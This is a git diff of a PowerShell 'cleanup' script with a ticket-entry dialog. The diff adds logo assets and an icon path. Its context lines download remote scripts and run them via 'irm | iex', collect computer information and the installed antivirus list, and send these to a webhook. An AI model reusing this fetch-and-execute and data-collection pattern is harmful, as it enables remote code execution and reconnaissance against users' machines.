diff --git a/assets/logo.ico b/assets/logo.ico new file mode 100644 index 0000000..3b5852a Binary files /dev/null and b/assets/logo.ico differ diff --git a/assets/logo.png b/assets/logo.png new file mode 100644 index 0000000..03a47cc Binary files /dev/null and b/assets/logo.png differ diff --git a/cleanup.ps1 b/cleanup.ps1 index 7c71940..38e9fba 100644 --- a/cleanup.ps1 +++ b/cleanup.ps1 @@ -22,6 +22,7 @@ $form.Size = New-Object System.Drawing.Size(320, 160) $form.StartPosition = "CenterScreen" $form.Topmost = $true $form.KeyPreview = $true +$form.Icon = New-Object System.Drawing.Icon("C:\Path\To\Icon.ico") # Form label $lbl = New-Object System.Windows.Forms.Label @@ -68,13 +69,13 @@ if ($result -eq [System.Windows.Forms.DialogResult]::OK) { exit } - # === SEND TO WEBHOOK ==================================================== + # Send webhook try { $GetComputerInfo = irm $ScriptGetComputerInfo | iex $GetInstalledAV = irm $ScriptGetInstalledAV | iex $payload = @{ - ticket = $ticket + ticket = $ticket GetComputerInfo = $GetComputerInfo | ConvertFrom-Json GetInstalledAV = $GetInstalledAV | ConvertFrom-Json } | ConvertTo-Json -Compress